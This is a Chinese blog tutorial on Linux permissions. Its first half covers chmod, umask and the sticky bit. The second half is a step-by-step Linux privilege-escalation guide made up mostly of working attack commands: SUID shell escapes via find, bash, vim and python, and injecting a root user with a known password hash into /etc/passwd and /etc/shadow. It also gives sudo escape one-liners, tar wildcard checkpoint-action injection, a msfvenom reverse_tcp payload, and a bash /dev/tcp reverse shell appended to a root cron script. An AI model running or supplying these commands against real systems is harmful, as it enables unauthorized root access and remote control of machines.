Linux权限相关

Linux权限

1、用户分类:

Linux下有两种用户:超级用户(root)、普通用户

1、超级用户:可以再linux系统下做任何事情,不受限制

2、普通用户:在linux下做有限的事情。

3、超级用户的命令提示符是“#”,普通用户的命令提示符是“$”

#插一嘴:单引号和双引号区别

单引号:

​ 单引号中的所有字符都会被当作普通字符来处理,所有的特殊字符都会失去其特殊意义。

​ 例如,变量名、命令替换等都不会被执行。它们会被当作普通的文本输出。

​ 单引号内不能包含单引号本身,除非使用转义字符。

双引号:

​ 双引号内的大部分字符也会被当作普通字符来处理,但是某些特殊字符仍然保留其特殊含义。

​ 变量替换和命令替换(如 $(command) 或 `command``)在双引号内是有效的。

​ 双引号内可以包含单引号。

​ 要在双引号内表示双引号本身,可以使用反斜杠进行转义,即 "。

2 Linux权限管理

2.1 文件访问者的分类(人)

用户(User):文件或目录的所有者,通常是创建该文件或目录的用户。符号表示为 u。
组(Group):文件或目录所属的用户组,通常是所有者所在的组。符号表示为 g。
其他用户(Others):除所有者和所属组之外的所有其他用户。符号表示为 o

2.2 权限表示

1 文件类型

d:目录文件(文件夹)
-:普通文件
l:软链接(类似Windows的快捷方式)
b:块设备文件(例如硬盘、光驱等)
p:管道文件
c:字符设备文件(例如屏幕等串口设备)
s:套接口文件

2 基本权限

读取(r):允许查看文件内容或列出目录内容。
写入(w):允许修改文件内容或在目录中创建、删除文件。
执行(x):允许执行文件或进入目录。
“—”:表示不具有该项权限

3 文件权限值的表示方法

a)字符表示方法

r:可读

w:可写

x:可执行

b)8进制数值表示方法(8进制和2进制)

r->4->100

w->2->010

x->1->001

rw->6->110

rx->5->101

wx->3->011

rwx->7->111

没用权限->0->000

2.3 权限管理命令

在 Linux 中,权限管理主要通过以下几个命令来实现:

chmod 命令

用于更改文件或目录的权限。

chmod [options] mode file
示例:

chmod u+rwx file.txt  # 给文件所有者增加读、写、执行权限
chmod g-w file.txt    # 去掉组用户的写权限
chmod o=rx file.txt   # 设置其他用户只有读和执行权限
chmod 755 file.txt    # 设置文件权限为 rwxr-xr-x
chmod -R 755 directory  # 递归更改目录及其子目录的权限
chown 命令

用于更改文件或目录的所有者。

chown [options] owner[:group] file
示例:

chown user file.txt  # 将文件所有者改为 user
chown user:group file.txt  # 将文件所有者改为 user,组改为 group
chown -R user:group directory  # 递归更改目录及其子目录的所有者和组
chgrp 命令

用于更改文件或目录的所属组。

chgrp [options] group file
示例:

chgrp group file.txt  # 将文件所属组改为 group
chgrp -R group directory  # 递归更改目录及其子目录的所属组
umask 命令

用于设置默认权限掩码,决定新创建文件和目录的默认权限。

umask [options] [mask]
示例:

umask 022  # 设置新文件默认权限为 755,新目录默认权限为 755
umask 077  # 设置新文件和目录默认权限为 700

在 Linux 中,权限掩码(umask) 是用于设置新创建文件和目录的默认权限的机制。它通过屏蔽某些权限位来决定新文件和目录的最终权限。

a) 权限掩码的工作原理

默认情况下,新创建的文件和目录的权限分别是 666(rw-rw-rw-)和 777(rwxrwxrwx)。权限掩码通过从这些默认权限中减去指定的掩码值来确定最终权限。

b) 计算方法

假设 umask 值为 022:

文件默认权限:666 - 022 = 644(rw-r–r–)
目录默认权限:777 - 022 = 755(rwxr-xr-x)

c) 设置和查看 umask

查看当前 umask:
umask
设置 umask:
umask 022

d) 示例

查看当前 umask:
$ umask
0022
创建文件和目录:

$ touch newfile
$ mkdir newdir

查看权限:

$ ls -l newfile newdir
-rw-r--r-- 1 user user 0 Aug 16 09:04 newfile
drwxr-xr-x 2 user user 4096 Aug 16 09:04 newdir
e) 修改 umask

要永久修改 umask,可以在用户的 shell 配置文件(如 .bashrc 或 .profile)中添加一行:

umask 022

f) 特殊情况

umask 000:新文件和目录将具有最大权限(666 和 777),这通常不推荐使用,因为它会导致安全风险。
umask 077:新文件和目录将只有所有者有完全权限(600 和 700),适用于需要高安全性的场景。
通过合理设置 umask,可以有效控制新创建文件和目录的默认权限,确保系统的安全性和资源的合理分配

2.4、目录权限

可执行权限 : 如果目录没有可执行权限 , 则无法 cd 到目录中 .
可读权限 : 如果目录没有可读权限 , 则无法用 ls 等命令查看目录中的文件内容 .
可写权限 : 如果目录没有可写权限 , 则无法在目录中创建文件 , 也无法在目录中删除文件 .
于是 , 问题来了 ~~
换句话来讲 , 就是只要用户具有目录的写权限 , 用户就可以删除目录中的文件 , 而不论这个用户是否有这个文件的写权限.

[root@localhost ~]# chmod 0777 /home/
[root@localhost ~]# ls /home/ -ld 
drwxrwxrwx. 3 root root 4096 9月 19 15:58 /home/
[root@localhost ~]# touch /home/root.c
[root@localhost ~]# ls -l /home/
总用量 4
-rw-r--r--. 1 root root 0 9月 19 15:58 abc.c
drwxr-xr-x. 27 litao litao 4096 9月 19 15:53 litao
-rw-r--r--. 1 root root 0 9月 19 15:59 root.c
[root@localhost ~]# su - litao
[litao@localhost ~]$ rm /home/root.c #litao可以删除root创建的文件
rm:是否删除有写保护的普通空文件 "/home/root.c"?y
[litao@localhost ~]$ exit 
logout

为了解决该问题,Linux引入了粘滞位的概念。
在 Linux 系统中,粘滞位(Sticky Bit) 是一种特殊权限位,主要用于控制对特定目录中文件的删除操作。设置粘滞位后,只有文件的所有者或 root 用户才能删除或移动该文件,而其他用户即使有写权限也不能删除或移动这些文件

1 粘滞位的作用
粘滞位通常用于多用户环境中的公共目录,例如 /tmp 目录,以防止用户删除或移动其他用户的文件。设置粘滞位后,目录的其他用户权限位会显示为 t 或 T:

t:表示该目录的其他用户有执行权限。
T:表示该目录的其他用户没有执行权限。
2 设置粘滞位
使用 chmod 命令可以设置粘滞位:

chmod +t directory  # 为目录设置粘滞位
chmod -t directory  # 移除目录的粘滞位

3 示例
查看 /tmp 目录的权限:

ls -ld /tmp
drwxrwxrwt 15 root root 4096 Aug 16 09:04 /tmp

可以看到 /tmp 目录的其他用户权限位为 t,表示已设置粘滞位。

为目录设置粘滞位:

mkdir mydir
chmod 1777 mydir  # 设置粘滞位并赋予所有用户读、写、执行权限
ls -ld mydir
drwxrwxrwt 2 kali kali 4096 Aug 16 09:04 mydir

4 注意事项
粘滞位只对目录有效,对文件无效
设置粘滞位后,其他用户仍然可以修改文件内容,但不能删除或移动文件。
通过合理使用粘滞位,可以有效保护公共目录中的文件,防止未授权的删除和移动操作。

3、Linux提权

1、Linux内核提权

提权原理

内核提权是利用Linux内核的漏洞进行提权的。内核漏洞进行提权一般包括三个环节:
1、对目标系统进行信息收集,获取到系统内核信息以及版本信息;
2、根据内核版本获取其对应的漏洞以及EXP;
3、使用找到的EXP对目标系统发起攻击,完成提权操作

查看Linux操作系统的内核版本和相关信息

cat /etc/issue 查看ubuntu或者centos的版本
cat /etc/*-release 查看centos版本
uname -a 查看系统全部信息
uname -r 查看内核版本

EXP怎么找呢,可以是用kali去寻找,kali中自带searchsploit命令可以查找EXP

输入 searchsploit -m 50808.c 就会自动复制该文件到当前目录

CVE-2022-0847漏洞

2、SUID提权

SUID介绍

SUID是一种特殊权限,设置了suid的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置,它就是设置了suid权限的

注意以下几点:

  1. 只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
  2. 命令执行者要对该程序文件拥有执行(x)权限.
  3. 命令执行者在执行该程序时获得该程序文件属主的身份.
  4. SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
设置SUID

chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置

SUID提权原理

原理:利用某些二进制文件设置了SUID权限,从而用root权限执行系统命令
常见的可以用来提权的命令如下:

nmap
vim
find
bash
more
less
nano
cp
awk
mv

查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null
提权介绍
find提权

介绍

find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用
SUID权限运行,则可以通过find执行的命令都将以root身份去运行

步骤

1.查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用find提权

touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find . -exec /bin/sh -p \; -quit
bash提权

介绍

bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过bash执行的命令都将以root身份去运行

步骤

查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

利用bash提权

bash -p
vim提权

介绍

利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户

步骤

1.查找SUID文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

2.利用vim提权

第一种方式,利用vim添加账号

vim /etc/passwd 添加特权用户
添加:bob :x :0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456

第二种,利用vim打开交互shell

vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
python提权
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

3、计划任务提权

提权原理
linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下

crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab

计划任务的文件夹在 /etc/cron*下

计划任务的格式

分 时 日 月 周 用户 命令

假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下

find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件
find / -perm 777 -print 2>/dev/null 查找777文件

linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权限,最后一部分是其他用户所拥有的权限

提权环境
先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数

function bash_os() {
"系统基础信息"
#内核信息
kernel=$(uname -r)
#操作系统版本
release=$(cat /etc/redhat-release)
#主机名称
hostname=$HOSTNAME
#当前时间及运行时间
dateload=$(uptime | awk -F "," '{print $1}')
当前登录用户数
users=$(uptime | awk -F "," '{print $2}')
echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|内核信息:\033[31m $kernel \033[0m" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|操作系统版本:\033[31m $release \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >>
/tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt
echo -e "\033[32m------------------------------------\033[0m" >>
/tmp/bash_os.txt
}
bash_os

该脚本运行后的内容写到 /tmp/bash_os.txt文件中

将文件的权限设置成777 chmod 777 bash_os.sh

将文件设置成计划任务,输入 vim /cat/cronta 进行编辑,编辑内容如下

分 时 日 月 周 用户 命令

*/1 * * * * root /bash_os.sh
service crond status #查看计划任务启动
service crond restart #重启计划任务

提权步骤
我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF的payload然后上线

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run

查询计划任务,发现存在一个sh文件并且是root运行的

接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权

输入反弹shell的命令,在sh文件中进行追加

echo "bash -i >& /dev/tcp/192.168.41.211/9876 0>&1" >> /bash_os.sh

使用NC接收等待反弹shell的连接,得到root权限

4、环境变量劫持提权

提权原理4

PATH是Linux和类Unix操作系统中的环境变量,类似windows中的path环境变量,当我们执行一个命令的时候shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中逐步查找命令,查看环境变量命令如下:

echo $PATH #查看环境变量

如果我们可以在环境变量中写入自己的环境变量,然后写一个自己的恶意命令,从而达到提权的目的

提权环境
假设管理员用户在/home目录下创建了一个demo.c文件,内容如下,执行查看shadow文件命令,setuid 规定了其运行用户,以root权限进行编译和权限设置

#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}

然后使用gcc进行编译

gcc demo.c -o shell

运行 shell 命令就是打开shadow文件

赋予shell文件SUID权限

chmod u+s shell

接下来就可以进行提权了

5、SUDO提权

提权原理

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如reboot,su等等。这样不仅减少了root用户的登录 和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。在一些应用场景里面,为了方便运维人员以低权限帐号进行运维,往往会开启帐号的一些SUDO权限给运维帐号,而SUDO权限的授予在/etcsudoers中进行操作。
具体的格式如下

cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get

cseroad表示用户名
第一个 ALL 指示允许从任何终端访问sudo
第二个 (ALL:ALL)指示sudo命令被允许任意用户、任意组执行
第三个 NOPASSWD 表示不需要输入密码而可以sudo执行的命令
这里要注意了添加的命令一定要写在最后一行

但是想获取哪些命令设置了无密码sudo,还是需要查看 cat /etc/sudoers 文件或者 sudo -l 命令,而这两条命令都需要一定权限或者知道当前用户密码

如果给sudo配置文件配置了ALL 或者以下的命令就可以进行提权

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、less、awk、man、vi、env、ftp、ed、screen

提权的命令如下

一条命令提权的

sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;

两条命令提权的

sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh

6、利用通配符(WS)进行提权

提权原理
*代表任意数量的字符
? 字符代表单个字符
[] 匹配中括号中的任意单一字符 可以使用连字符-表示范围,比如[0-9]

看一下什么是Wildcard wildness(简称WS)

echo "1" > file1
echo "2" >file2
echo "3" > --help

接下来查看文件里面的内容,发现文件1和文件2都可以查看,但是–help查看不了,直接调出了–help的命令,这种类型的技巧称为Wildcard wildness。

如果我们执行 ls * 那么就会执行 ls --help

如果有的命令的参数中可以去执行linux命令,我们进行劫持,达到提权的目的,我们以tar命令为例子,tar命令是Linux中的压缩命令,可以对文件进行压缩

tar -czf html.tgz 1.html #将文件1.html文件压缩成html.tgz

也可以使用通配符进行压缩

tar -czf html.tgz *.html #将文件所有html文件压缩成html.tgz

在tar中有执行linux命令的参数如下

tar -czf 1.tgz 1.html --checkpoint=1 --checkpoint-action=exec=whoami

可以对后面的命令进行劫持 ,只需要要编写一个这样的参数文件就行可以了

echo " " > --checkpoint=1
echo " " > --checkpoint-action=exec=whoami

接着运行

tar -czf html.tgz *
提权环境

一般都有备份网站的习惯,那么运维人员或管理员填写了备份文件的计划任务,如果滥用了通配符,就可能导致提权

*/1 * * * * root tar -zcf /var/html.tgz /var/www/html/*

7、破解明文密码提权

提权原理

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的,当管理员的passwd和shadow一些权限配置不当就可能会导致提权

提权环境

主要是查看当前的shadow文件是否可以读取,有以下几种方式

1、赋予了文件777权限
2、可以使用sudo查看
3、cat等命令赋予了SUID权限

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值